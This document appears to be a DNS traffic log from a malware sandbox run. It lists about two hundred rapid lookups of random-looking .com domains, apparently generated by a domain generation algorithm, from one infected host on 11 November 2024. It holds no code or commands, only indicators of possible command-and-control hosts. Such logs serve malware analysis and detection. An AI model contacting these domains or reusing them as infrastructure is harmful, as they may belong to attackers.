                                                                                                                                                                                                          Nov 11, 2024 18:13:15.174132109 CET192.168.2.61.1.1.10xa312Standard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.174468994 CET192.168.2.61.1.1.10x6e7aStandard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.174639940 CET192.168.2.61.1.1.10x6e9eStandard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.208836079 CET192.168.2.61.1.1.10x56d3Standard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.209039927 CET192.168.2.61.1.1.10xfe26Standard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.215931892 CET192.168.2.61.1.1.10xd752Standard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.216207027 CET192.168.2.61.1.1.10xfd3aStandard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.216664076 CET192.168.2.61.1.1.10x58deStandard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.218756914 CET192.168.2.61.1.1.10xa263Standard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.219135046 CET192.168.2.61.1.1.10x3755Standard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.219307899 CET192.168.2.61.1.1.10xee4fStandard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.219444036 CET192.168.2.61.1.1.10x6c6dStandard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220017910 CET192.168.2.61.1.1.10xa609Standard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220242023 CET192.168.2.61.1.1.10xe9e5Standard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220453978 CET192.168.2.61.1.1.10x1950Standard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220453978 CET192.168.2.61.1.1.10xf634Standard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220700026 CET192.168.2.61.1.1.10x48f9Standard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.220874071 CET192.168.2.61.1.1.10x7bc3Standard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.221100092 CET192.168.2.61.1.1.10xf2a8Standard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.221260071 CET192.168.2.61.1.1.10xcd5Standard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.221471071 CET192.168.2.61.1.1.10xf428Standard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.221869946 CET192.168.2.61.1.1.10x509eStandard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.222080946 CET192.168.2.61.1.1.10x5d6fStandard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.222395897 CET192.168.2.61.1.1.10xf935Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.222704887 CET192.168.2.61.1.1.10x91faStandard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.222929001 CET192.168.2.61.1.1.10xa877Standard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.225310087 CET192.168.2.61.1.1.10x1b3dStandard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.225454092 CET192.168.2.61.1.1.10x3bb8Standard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.727499008 CET192.168.2.61.1.1.10x6e93Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.727660894 CET192.168.2.61.1.1.10x8fdbStandard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.728368044 CET192.168.2.61.1.1.10x3c9Standard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.728368044 CET192.168.2.61.1.1.10x1e03Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.733819008 CET192.168.2.61.1.1.10xd7c4Standard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.733922958 CET192.168.2.61.1.1.10xda9dStandard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.735143900 CET192.168.2.61.1.1.10x296eStandard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.743915081 CET192.168.2.61.1.1.10xc0f0Standard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.750824928 CET192.168.2.61.1.1.10x7e47Standard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.751467943 CET192.168.2.61.1.1.10x4f77Standard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.762825966 CET192.168.2.61.1.1.10xb04eStandard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.763643980 CET192.168.2.61.1.1.10xd2c1Standard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.764081955 CET192.168.2.61.1.1.10x13dfStandard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.772142887 CET192.168.2.61.1.1.10x96cdStandard query (0)ganyfes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.788175106 CET192.168.2.61.1.1.10x4daeStandard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.793657064 CET192.168.2.61.1.1.10x6cc5Standard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.793838978 CET192.168.2.61.1.1.10xd857Standard query (0)vonygec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.797879934 CET192.168.2.61.1.1.10x2c1eStandard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.797909021 CET192.168.2.61.1.1.10x5ee1Standard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.798305035 CET192.168.2.61.1.1.10x3548Standard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.800679922 CET192.168.2.61.1.1.10x7434Standard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.803045034 CET192.168.2.61.1.1.10x1c32Standard query (0)qetyhyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.803663969 CET192.168.2.61.1.1.10xc5c3Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.804292917 CET192.168.2.61.1.1.10xda0cStandard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.806174040 CET192.168.2.61.1.1.10x9258Standard query (0)gatyhub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.806925058 CET192.168.2.61.1.1.10xddf0Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.809609890 CET192.168.2.61.1.1.10x6dd0Standard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.809784889 CET192.168.2.61.1.1.10xd29cStandard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.842166901 CET192.168.2.61.1.1.10x1c05Standard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.846038103 CET192.168.2.61.1.1.10x5b85Standard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.846766949 CET192.168.2.61.1.1.10x69ecStandard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.847090006 CET192.168.2.61.1.1.10xa3b6Standard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.847290993 CET192.168.2.61.1.1.10xa334Standard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.847479105 CET192.168.2.61.1.1.10xebd4Standard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.849185944 CET192.168.2.61.1.1.10xd9c9Standard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.849411964 CET192.168.2.61.1.1.10x9d1eStandard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850152016 CET192.168.2.61.1.1.10x4eb0Standard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850337029 CET192.168.2.61.1.1.10x48e0Standard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850492954 CET192.168.2.61.1.1.10xb3efStandard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850661993 CET192.168.2.61.1.1.10x6419Standard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850837946 CET192.168.2.61.1.1.10x5203Standard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.850991964 CET192.168.2.61.1.1.10x706Standard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851152897 CET192.168.2.61.1.1.10x1d9Standard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851367950 CET192.168.2.61.1.1.10xff42Standard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851527929 CET192.168.2.61.1.1.10x262cStandard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851671934 CET192.168.2.61.1.1.10x3851Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851887941 CET192.168.2.61.1.1.10x991eStandard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852113008 CET192.168.2.61.1.1.10x2d02Standard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852461100 CET192.168.2.61.1.1.10xd21Standard query (0)qeqynel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852632999 CET192.168.2.61.1.1.10xe279Standard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852804899 CET192.168.2.61.1.1.10xd72fStandard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852962017 CET192.168.2.61.1.1.10xcd7dStandard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.853467941 CET192.168.2.61.1.1.10xd49fStandard query (0)qexysig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.853646994 CET192.168.2.61.1.1.10xac07Standard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.854269981 CET192.168.2.61.1.1.10x6af1Standard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.854336977 CET192.168.2.61.1.1.10x981eStandard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.868539095 CET192.168.2.61.1.1.10xf07Standard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.868841887 CET192.168.2.61.1.1.10x9622Standard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.869626999 CET192.168.2.61.1.1.10xeb6cStandard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.870423079 CET192.168.2.61.1.1.10xac8fStandard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.870585918 CET192.168.2.61.1.1.10x6fc8Standard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.870970011 CET192.168.2.61.1.1.10x63a6Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.874783993 CET192.168.2.61.1.1.10x7fc1Standard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.875032902 CET192.168.2.61.1.1.10x6652Standard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.294698954 CET192.168.2.61.1.1.10xde18Standard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.295420885 CET192.168.2.61.1.1.10x3726Standard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.303662062 CET192.168.2.61.1.1.10x92c7Standard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.347187996 CET192.168.2.61.1.1.10xb2b8Standard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.504586935 CET192.168.2.61.1.1.10xe061Standard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.581294060 CET192.168.2.61.1.1.10x5a15Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.581412077 CET192.168.2.61.1.1.10x1ef9Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.585825920 CET192.168.2.61.1.1.10x6f6cStandard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.587040901 CET192.168.2.61.1.1.10x62e6Standard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.619956017 CET192.168.2.61.1.1.10x8737Standard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.620176077 CET192.168.2.61.1.1.10x7a3cStandard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.620312929 CET192.168.2.61.1.1.10xad13Standard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.656531096 CET192.168.2.61.1.1.10xc49dStandard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.656572104 CET192.168.2.61.1.1.10xdb7dStandard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.656918049 CET192.168.2.61.1.1.10xe18aStandard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.656959057 CET192.168.2.61.1.1.10x6ea4Standard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.657284021 CET192.168.2.61.1.1.10xfcc2Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.657605886 CET192.168.2.61.1.1.10xbea8Standard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.657643080 CET192.168.2.61.1.1.10x687bStandard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.658221006 CET192.168.2.61.1.1.10xe55Standard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.658302069 CET192.168.2.61.1.1.10x69d5Standard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659024000 CET192.168.2.61.1.1.10x3b4aStandard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659095049 CET192.168.2.61.1.1.10xe615Standard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659351110 CET192.168.2.61.1.1.10xc899Standard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659459114 CET192.168.2.61.1.1.10x1dd3Standard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659634113 CET192.168.2.61.1.1.10xf7ceStandard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659760952 CET192.168.2.61.1.1.10x563dStandard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.659905910 CET192.168.2.61.1.1.10xb619Standard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.660075903 CET192.168.2.61.1.1.10xd9f1Standard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.660201073 CET192.168.2.61.1.1.10xb17fStandard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.660451889 CET192.168.2.61.1.1.10xe54bStandard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.660640955 CET192.168.2.61.1.1.10xdabbStandard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.661329031 CET192.168.2.61.1.1.10xe4e4Standard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.661350965 CET192.168.2.61.1.1.10x33a8Standard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.684067011 CET192.168.2.61.1.1.10x56aaStandard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.686939955 CET192.168.2.61.1.1.10x8d23Standard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.687094927 CET192.168.2.61.1.1.10xa811Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.687232018 CET192.168.2.61.1.1.10x28b1Standard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.687417984 CET192.168.2.61.1.1.10xe015Standard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.688131094 CET192.168.2.61.1.1.10xe020Standard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.688533068 CET192.168.2.61.1.1.10xf452Standard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.707995892 CET192.168.2.61.1.1.10x540dStandard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.709314108 CET192.168.2.61.1.1.10x3dffStandard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.709676027 CET192.168.2.61.1.1.10x5f6dStandard query (0)lykylan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.710406065 CET192.168.2.61.1.1.10x5ee2Standard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.710767984 CET192.168.2.61.1.1.10xeb53Standard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.716993093 CET192.168.2.61.1.1.10x91a6Standard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.718688011 CET192.168.2.61.1.1.10xa52fStandard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.719506979 CET192.168.2.61.1.1.10x374fStandard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.719902039 CET192.168.2.61.1.1.10x606dStandard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.720427990 CET192.168.2.61.1.1.10x2dd2Standard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.720635891 CET192.168.2.61.1.1.10x9f48Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.724400043 CET192.168.2.61.1.1.10xe078Standard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.724544048 CET192.168.2.61.1.1.10x4727Standard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.724802017 CET192.168.2.61.1.1.10xde07Standard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.724818945 CET192.168.2.61.1.1.10x5462Standard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.725469112 CET192.168.2.61.1.1.10xeb20Standard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.725645065 CET192.168.2.61.1.1.10x40f2Standard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.726093054 CET192.168.2.61.1.1.10xe5acStandard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.726330996 CET192.168.2.61.1.1.10x8436Standard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.726824999 CET192.168.2.61.1.1.10x3b4Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.731472015 CET192.168.2.61.1.1.10x2431Standard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.731687069 CET192.168.2.61.1.1.10x7df0Standard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.743421078 CET192.168.2.61.1.1.10x6846Standard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.257817984 CET192.168.2.61.1.1.10x9a0cStandard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.274061918 CET192.168.2.61.1.1.10x2fb4Standard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.276560068 CET192.168.2.61.1.1.10x2a17Standard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.277817965 CET192.168.2.61.1.1.10x2e84Standard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.278310061 CET192.168.2.61.1.1.10x9118Standard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.281363964 CET192.168.2.61.1.1.10xa05eStandard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.334505081 CET192.168.2.61.1.1.10x519aStandard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.344115973 CET192.168.2.61.1.1.10xd428Standard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.351856947 CET192.168.2.61.1.1.10xac5cStandard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.373157978 CET192.168.2.61.1.1.10xa9d9Standard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.404264927 CET192.168.2.61.1.1.10x915dStandard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.404880047 CET192.168.2.61.1.1.10x95cbStandard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.405738115 CET192.168.2.61.1.1.10x12eaStandard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.405958891 CET192.168.2.61.1.1.10x6ea0Standard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.408365965 CET192.168.2.61.1.1.10xf2daStandard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.408849955 CET192.168.2.61.1.1.10x4d07Standard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.409190893 CET192.168.2.61.1.1.10x4190Standard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.412288904 CET192.168.2.61.1.1.10x551aStandard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.412700891 CET192.168.2.61.1.1.10xa7afStandard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.413000107 CET192.168.2.61.1.1.10xb41fStandard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.413888931 CET192.168.2.61.1.1.10xc1fbStandard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.414747953 CET192.168.2.61.1.1.10xeb7fStandard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.415249109 CET192.168.2.61.1.1.10x70f9Standard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.415486097 CET192.168.2.61.1.1.10x95acStandard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.416460991 CET192.168.2.61.1.1.10xafa0Standard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.420135975 CET192.168.2.61.1.1.10x4fb0Standard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:18.420393944 CET192.168.2.61.1.1.10x7892Standard query (0)gahyhys.comA (IP address)IN (0x0001)false
